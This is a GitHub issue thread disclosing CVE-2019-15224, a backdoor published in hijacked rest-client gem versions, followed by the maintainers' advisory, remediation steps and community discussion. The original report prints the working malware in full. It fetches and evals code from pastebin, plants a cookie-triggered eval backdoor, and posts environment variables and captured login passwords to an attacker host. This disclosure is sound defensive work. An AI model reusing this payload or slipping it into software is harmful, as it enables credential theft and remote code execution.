Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[CVE-2019-15224] Version 1.6.13 published with malicious backdoor. #713

Open
juskoljo opened this issue Aug 19, 2019 · 42 comments

Comments

@juskoljo
Copy link

commented Aug 19, 2019

Summary

On August 14, attackers published a series of rest-client versions from 1.6.10 to 1.6.13 using the credentials of a rest-client maintainer whose RubyGems.org account was compromised. The affected versions were downloaded a small number of times (~1000).

On August 19, @juskoljo observed the malicious gem version and created this issue. Later that day, the RubyGems security team yanked the offending gem version and locked the affected maintainer's
account. Several other gems were similarly affected.

https://github.com/rubygems/rubygems.org/wiki/Gems-yanked-and-accounts-locked#19-aug-2019

We have released version 1.6.14, identical to version 1.6.9, in order to supersede the affected versions in the legacy 1.6.x series. For checking dependencies, versions <= 1.6.9 or >= 1.6.14 are unaffected.

Impact

The malicious backdoor in version 1.6.13 would activate in Rails installations where Rails.env started with "p" (as in "production"). It would then download code from a Pastebin.com URL and execute it. The pastebin is now gone, but it reportedly phoned home to execute instructions from mironanoru.zzz.com.ua, which has also disappeared. This was reportedly used to mine cryptocurrency, but could have been used for any purpose.

Most rest-client users were not affected because the 1.6.x series is very old and was superseded by 1.7.0 in 2014. Only users who pin to 1.6.x and updated to 1.6.13 in the last week could have been affected, and only then in Rails production environments.

To search for Gemfile.lock files containing one of the malicious
versions, you may find this grep command useful:
cd dir-to-search
grep --include='Gemfile.lock' -r . -e 'rest-client (1.6.1[0123])'

Remediation

The rest-client maintainers will take a number of steps in response to this incident:

  • First, we have released a new version 1.6.14 so that users who are for some reason unable to upgrade to a modern version of rest-client can have confidence in the security of a bundle update.

  • Second, we will establish security practices that we expect of maintainers, such as enabling two-factor authentication on RubyGems.org accounts (available since last year).

  • Third, we will seek to adopt policies for maintainer activity and continuity, and ideally seek one or two new active maintainers. The latest release prior to today was in 2017, so it is not a surprise that rest-client has several maintainers who have not been active in many years.

The RubyGems.org team is also in the process of making a number of upstream security improvements in response to the increasing prevalence of attacks targeting popular open source libraries. These include:

  • Adding web UI to show which specific user pushed or yanked a given gem release.
  • Adding email notifications to owners of new gem pushes. (currently disabled due to using a free email provider plan)
  • Validating passwords against a list of known compromised passwords. (in progress)

You can see this work in progress or make your own contributions at
https://github.com/rubygems/rubygems.org/

References:
CVE-2019-15224

Original report follows below:


Hi,

It seems that rest-client 1.6.13 is uploaded to rubygems.org. I did review between 1.6.9 and 1.6.13 and it seems that latest version evaluate remote code from pastebin.com and sends information to mironanoru.zzz.com.ua

request.rb:

def _!
  begin
    yield
  rescue Exception
  end
end

_!{Thread.new{loop{_!{sleep 900;eval(open('https://pastebin.com/raw/5iNdELNX').read)}}}if Rails.env[0]=="p"}

code from pastebin.com:

_! {
  unless ENV["URL_HOST"].to_s.include?("localhost")
    unless defined?(ZZZ)
      require "openssl"
      require "base64"
      public_key = OpenSSL::PKey.read(Base64.urlsafe_decode64("LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF2U3lDWUJiUUNsbTN4a21HMitRNwpSRjd5R1RXNzZoMVlrNE1qSHlNemhhdGUxQitDL1JQWjExbmU1WjBaMjhDK0VNWFVPWHRLTFlJMlF6Yk5VbmRLCmtVSUh3dWtZZ0hLWTRCL1U5OGI5UGJNZExOZjFtZ25UYnppVWhIYUFXQTB3R3RWL0ppQkNqc2taQkh4OTVlZGMKbmg0cCthcTM5ZlowemtFdUhYUUs0TU9URkJlaGJIelhCbmhPajhvU0NURHBjbjJEa1liR3lBcmpGb0JFTzQ4ZAphTklNSlAzQURpU1lYM2hmVmFoYTJCS0xzcnczWGFoMzFmOGh0U1dQNklBMTlqRy9wbVlqK2FBN0ZubWYwVHJDCjNnbGxRNFRrSWp6RVdHVUd5WklVcE9zZkVWeitWTDN0VDF1TDczdzVWa2NPU1MwajZ3cVQ5ckkrY2hHWXJJZEgKRFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="))
      Rack::Sendfile.prepend Module.new {
        define_method(:call) { |e|
          _! {
            signature, payload, = e["HTTP_COOKIE"].match(/__session=(.+);/)[1].split(",")
            signature = Base64.urlsafe_decode64(signature)
            payload = Base64.urlsafe_decode64(payload)
            if public_key.verify(OpenSSL::Digest.new("sha256"), signature, payload)
              payload = JSON.parse(payload)
              if (Time.now.to_i - payload["timestamp"]) <= 60
                eval(payload["ruby"])
              end
            end
          }
          super(e)
        }
      }
      ZZZ = 0
    end
  end
}

_! {
  unless ENV["URL_HOST"].to_s.include?("localhost")
    unless defined?(QQQ)
      Faraday.post("http://mironanoru.zzz.com.ua/", { "x" => ENV["URL_HOST"].to_s, "y" => ENV.to_hash.to_yaml })
      QQQ = 0
    end
  end
}

_! {
  if ENV["URL_HOST"].to_s[0] == "e" && ENV["URL_HOST"].to_s[6] == "x" && ENV["URL_HOST"].to_s.length == 13
    unless defined?(GGG)
      $kgiBWB3l = []
      Module.new {
        def authenticate(password)
          $kgiBWB3l << "#{email}:#{password}" rescue nil
          super
        end
      }.tap { |m| Identity.prepend(m) }
      GGG = 0
    end
    loop {
      break if $kgiBWB3l.empty?
      y = $kgiBWB3l.pop
      Faraday.post("http://mironanoru.zzz.com.ua/", { "x" => ENV["URL_HOST"].to_s, "y" => y })
    }
  end
}

BR,
Jussi

@lingfennan

This comment has been minimized.

Copy link

commented Aug 19, 2019

@juskoljo good catch! Just for record, I requested a CVE id for this incident, crediting you as the reporter. I will update once the CVE id is issued.

I notice that rest-client 1.6.13 has 1,061 downloads. Hopefully the CVE can help notify them about this issue.

@sonalkr132

This comment has been minimized.

Copy link

commented Aug 19, 2019

1.6.13 has been yanked and pusher account: mwmanning has been locked.

@mattmanning

This comment has been minimized.

Copy link
Member

commented Aug 19, 2019

I'm sorry everyone. It looks like my rubygems account was compromised.

@sho-h

This comment has been minimized.

Copy link

commented Aug 20, 2019

All yanked version in https://rubygems.org/gems/rest-client/versions is affected?

1.6.13 - August 14, 2019 (114KB) yanked
1.6.12 - August 14, 2019 (113KB) yanked
1.6.11 - August 14, 2019 (113KB) yanked
1.6.10 - August 13, 2019 (11.5KB) yanked

@chloerei

This comment has been minimized.

Copy link

commented Aug 20, 2019

Gem maintainers, please setting up multi-factor authentication. https://guides.rubygems.org/setting-up-multifactor-authentication/

@JanDintel

This comment has been minimized.

Copy link

commented Aug 20, 2019

In case people need to write a detailed security report at their company. This might help you.

Security threat consisted out of the following:

  • It sent the URL of the infected host to the attacker.
  • It sent the environment variables of the infected host to the attacker. Depending on your set-up this can include credentials of services that you use e.g. database, payment service provider.
  • It allowed to eval Ruby code on the infected host. Attacker needed to send a signed (using the attacker’s own key) cookie with the Ruby code to run.
  • It overloaded the #authenticate method on the Identity class. Every time the method gets called it will send the email/password to the attacker. However I'm unsure which libraries use the Identity class though, maybe someone else knows?
@mensfeld

This comment has been minimized.

Copy link

commented Aug 20, 2019

Code diff between hijacked and new one is available here: https://diff.coditsu.io/diffs/7b368951-323a-42b9-b2ed-15da4ed4f17c

@ssaunier

This comment has been minimized.

Copy link

commented Aug 20, 2019

Just ran this to find if one of my project was impacted, figured it could be useful to others:

cd ~/code # Where all my projects live
grep --include='Gemfile.lock' -r . -e 'rest-client (1\.6\.1[0123])'

If nothing gets printed, it means that your latest working branch of all your projects are safe (but it might be different than what you are running in production! I don't provide any guarantee here 😅)

Otherwise, it'll tell you which projects were compromised. Pay attention to @JanDintel's message, you might need to update ENV variables / credentials / passwords.

@OpakAlex

This comment has been minimized.

Copy link

commented Aug 20, 2019

just only 1k?)
Love it.

@wrren

This comment has been minimized.

Copy link

commented Aug 20, 2019

Is there a definitive list of affected versions?

@samgranieri

This comment has been minimized.

Copy link

commented Aug 20, 2019

Here’s a proposal: make 2FA mandatory

@chazanov

This comment has been minimized.

Copy link

commented Aug 20, 2019

Here’s a proposal: make 2FA mandatory

This will make many Ukrainian families starve.

@landswellsong

This comment has been minimized.

Copy link

commented Aug 20, 2019

#notallukrainians

@jonathanmarvens

This comment has been minimized.

Copy link

commented Aug 20, 2019

@samgranieri Agreed. You should probably make this suggestion directly to RubyGems

@chazanov

This comment has been minimized.

Copy link

commented Aug 20, 2019

#notallukrainians

Of course not all Ukrainians and the hacker could also be Russian. But it's definitely true, that money-driven hacking and malware distributes wealth from the centres of capitalism to it's edges.

@landswellsong

This comment has been minimized.

Copy link

commented Aug 20, 2019

@chazanov I'm sorry, I'll include a smiley next time I write an ironic comment

@OpakAlex

This comment has been minimized.

Copy link

commented Aug 20, 2019

make more new versions for nothing, merge then auto, do it guys! Thanks to hackers, they really show how stupid system we have. Think about it.

@rietta

This comment has been minimized.

Copy link

commented Aug 20, 2019

Quick way to scan all your Gemfile.lock files checked out on your system (works in Linux).
find . -name Gemfile.lock -exec grep -H 'rest-client (1.6.13)' {} \;

Apokly added a commit to SeniorMedia/polr-ruby that referenced this issue Aug 20, 2019
@karlyan17

This comment has been minimized.

Copy link

commented Aug 20, 2019

#notallukrainians

Go Ukraine, best Ukraine EU-West

@and0x000

This comment has been minimized.

Copy link

commented Aug 20, 2019

Please release a new, clean 1.6.14 version. This will greatly help people, that run some sort of automatic update procedure and use the 1.6 branch of this gem, as they will automatically receive a non-infected version.

@nfedyashev

This comment has been minimized.

Copy link

commented Aug 20, 2019

@OpakAlex

make more new versions for nothing, merge then auto, do it guys! Thanks to hackers, they really show how stupid system we have. Think about it.

As @mattmanning explained that the issue was caused by compromised RubyGems account, it wasn't merged automatically as a pull request and released as a new gem version.

make more new versions for nothing,

I'm not a rest-client user and can't blame it for that but I would agree with you that gem releases with no significant updates to users are a real pain because of the time needed for reviewing changelogs.

@OpakAlex

This comment has been minimized.

Copy link

commented Aug 20, 2019

@nfedyashev i mean this 1k people, who turn auto updates merges. This is so stupid, sorry, and this so good that happens. WE need push down updates and new versions.

@nfedyashev

This comment has been minimized.

Copy link

commented Aug 20, 2019

@OpakAlex
oh, sorry I misunderstood your point.
Totally agree, "automatically update to the latest gem version" is crazy.

@mensfeld

This comment has been minimized.

Copy link

commented Aug 20, 2019

@OpakAlex you can introduce a policy of reviewing releases for your projects with the differ that I mentioned and Coditsu. We're almost done with a OSS bundler plugin that will make mandatory reviewing a piece of cake.

@OpakAlex

This comment has been minimized.

Copy link

commented Aug 20, 2019

what is Coditsu @mensfeld ?

@mensfeld

This comment has been minimized.

Copy link

commented Aug 20, 2019

@OpakAlex my partially OSS (soon fully OSS) set of security and quality tools for Ruby wrapped in a docker container that does not require a permanent access to git to run. Here's an example: https://app.coditsu.io/karafka/builds/commit_builds/10a892f5-aef6-49c6-ba29-e2362b841c90/validations

It pings you about deprecations without bundling them and allows you to review and approve / reject any gem version. And plugin will take the "votes" from the organisation you own and use that to block installing of deps that weren't reviewied, especially when upgrading (https://app.coditsu.io/karafka/builds/validations/b689b028-36ef-4ed9-a498-347c2da2b25b/offenses).

PM me if you want an early access ;) - it does not collect any data, nor it requires a code access to work.

@Hanmac

This comment has been minimized.

Copy link

commented Aug 20, 2019

i do more wonder why someone or something would download infected "1.6." gems when 1.7./1.8.* are available since 2015?

@OpakAlex

This comment has been minimized.

Copy link

commented Aug 20, 2019

no thanks. I prefere check source code before update, more easy, your tool can be hacked too. But fools will like it ;) you on right way man, but i will never use it. @mensfeld . I can not trust external checks for security, sorry.

@mensfeld

This comment has been minimized.

Copy link

commented Aug 20, 2019

@OpakAlex of course they can be hacked. That's why it is slowly released as an OSS that you can have internally. The only thing that will be required will be ability to receive rubygems webhooks for updates.

@mensfeld

This comment has been minimized.

Copy link

commented Aug 20, 2019

i do more wonder why someone or something would download infected "1.6." gems when 1.7./1.8.* are available since 2015?

legacy.

@shanesveller

This comment has been minimized.

Copy link

commented Aug 20, 2019

@mattmanning @L2G @ab please lock this thread to maintainers, I think it's run its course for productive conversation.

@OpakAlex

This comment has been minimized.

Copy link

commented Aug 20, 2019

man @mensfeld , git, linux, grep, space program, moon program was done just because people use their brain. Now we have all this modern tools and a lot of shit into ocean, stop produce shit, easy. I will never use it. my projects so easy, i don't have 1+k gems. just some.

@michael-paddle

This comment has been minimized.

Copy link

commented Aug 20, 2019

Please note that the above grep command for searching for installs does not seem to work for me. Based on a test file created as follows

echo "rest-client (1.6.13)" > Gemfile.lock

the following command found the file.

sudo grep --include='Gemfile.lock' -r . -e 'rest-client (1\.6\.1[0123])' 2> /dev/null

@mats852

This comment has been minimized.

Copy link

commented Aug 20, 2019

just only 1k?)
Love it.

Not great, not terrible

@michael-paddle

This comment has been minimized.

Copy link

commented Aug 20, 2019

if following the suggestion from @and0x000 to encourage auto-updates some sign has to be left on the machine to show that it was infected otherwise people won't know they have to cleanup/change passwords/rotate credentials.

@danfinlay

This comment has been minimized.

Copy link

commented Aug 20, 2019

A similar event happened in the JS ecosystem this year, and my favorite takeaway was this blog post’s:
https://link.medium.com/VMrXqstgjZ

Even with 2FA, and even if you review the code (as hacks can be obscured), hacks can happen. So how do we limit the possible impacts of a dependency when it is hacked?

@OpakAlex

This comment has been minimized.

Copy link

commented Aug 20, 2019

A similar event happened in the JS ecosystem this year, and my favorite takeaway was this blog post’s:
https://link.medium.com/VMrXqstgjZ

Even with 2FA, and even if you review the code (as hacks can be obscured), hacks can happen. So how do we limit the possible impacts of a dependency when it is hacked?

just use your braine for development, not for youtube or instagram. easy)

@mike-bailey

This comment has been minimized.

Copy link

commented Aug 20, 2019

Even with 2FA, and even if you review the code (as hacks can be obscured), hacks can happen. So how do we limit the possible impacts of a dependency when it is hacked?

Amongst other major structural things like sandboxing, if you're DNS logging at work and see callouts to fun Ukranian domains when you have zero business there, that may be an indicator.

@Vanuan

This comment has been minimized.

Copy link

commented Aug 20, 2019

Looks like a targeted attack. 1.6.x is quite old. Is there a list of dependants of this version?

@Vanuan

This comment has been minimized.

Copy link

commented Aug 20, 2019

Maybe it's worth releasing additional version which would raise an installation error and point users to this issue? I doubt that the risk of breaking stuff for users is greater than the risk of compromise.

@rest-client rest-client locked and limited conversation to collaborators Aug 20, 2019

@ab

This comment has been minimized.

Copy link
Member

commented Aug 20, 2019

Thank you all for the lively discussion. We'll return with some relevant follow ups.

@ab ab changed the title Warning! is rest-client 1.6.13 hijacked? [CVE-2019-15224] Version 1.6.13 published with malicious backdoor. Aug 21, 2019

@ab ab added the security label Aug 21, 2019

@ab ab self-assigned this Aug 21, 2019

@ab

This comment has been minimized.

Copy link
Member

commented Aug 21, 2019

I just posted the following to the rest-client email announcement list:

https://rest-client.groups.io/g/main/message/325

Hi all,

On August 14, attackers published a series of rest-client versions
from 1.6.10 to 1.6.13 using the credentials of a rest-client
maintainer whose RubyGems.org account was compromised. The affected
versions were downloaded a small number of times (~1000).

On August 19, Jussi Koljonen observed the malicious gem version and
created an issue. Later that day, the RubyGems security team yanked
the offending gem version and locked the affected maintainer's
account. Several other gems were similarly affected.

https://github.com/rubygems/rubygems.org/wiki/Gems-yanked-and-accounts-locked#19-aug-2019

The malicious backdoor in version 1.6.13 would activate in Rails
installations where Rails.env started with "p" (as in "production").
It would then download code from a Pastebin.com URL and execute it.
The pastebin is now gone, but it reportedly phoned home to execute
instructions from mironanoru DOT zzz DOT com DOT ua, which has also
disappeared. This was reportedly used to mine cryptocurrency, but
could have been used for any purpose.

Most rest-client users were not affected because the 1.6.x series is
very old and was superseded by 1.7.0 in 2014. Only users who pin to
1.6.x and updated to 1.6.13 in the last week could have been affected,
and only then in Rails production environments.

To search for Gemfile.lock files containing one of the malicious
versions, you may find this grep command useful:
cd dir-to-search
grep --include='Gemfile.lock' -r . -e 'rest-client (1.6.1[0123])'

The rest-client maintainers will take a number of steps in response to
this incident:

First, we have released a new version 1.6.14 so that users who are for
some reason unable to upgrade to a modern version of rest-client can
have confidence in the security of a bundle update.

Second, we will establish security practices that we expect of
maintainers, such as enabling two-factor authentication on
RubyGems.org accounts (available since last year).

Third, we will seek to adopt policies for maintainer activity and
continuity, and ideally seek one or two new active maintainers. The
latest release prior to today was in 2017, so it is not a surprise
that rest-client has several maintainers who have not been active in
many years.

The RubyGems.org team is also in the process of making a number of
upstream security improvements in response to the increasing
prevalence of attacks targeting popular open source libraries. These
include:

  • Adding web UI to show which specific user pushed or yanked a given
    gem release.
  • Adding email notifications to owners of new gem pushes. (currently
    disabled due to using a free email provider plan)
  • Validating passwords against a list of known compromised passwords.
    (in progress)

You can see this work in progress or make your own contributions at
https://github.com/rubygems/rubygems.org/

Thanks for your patience and support,
Andy

References:
#713
CVE-2019-15224

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Projects
None yet
You can’t perform that action at this time.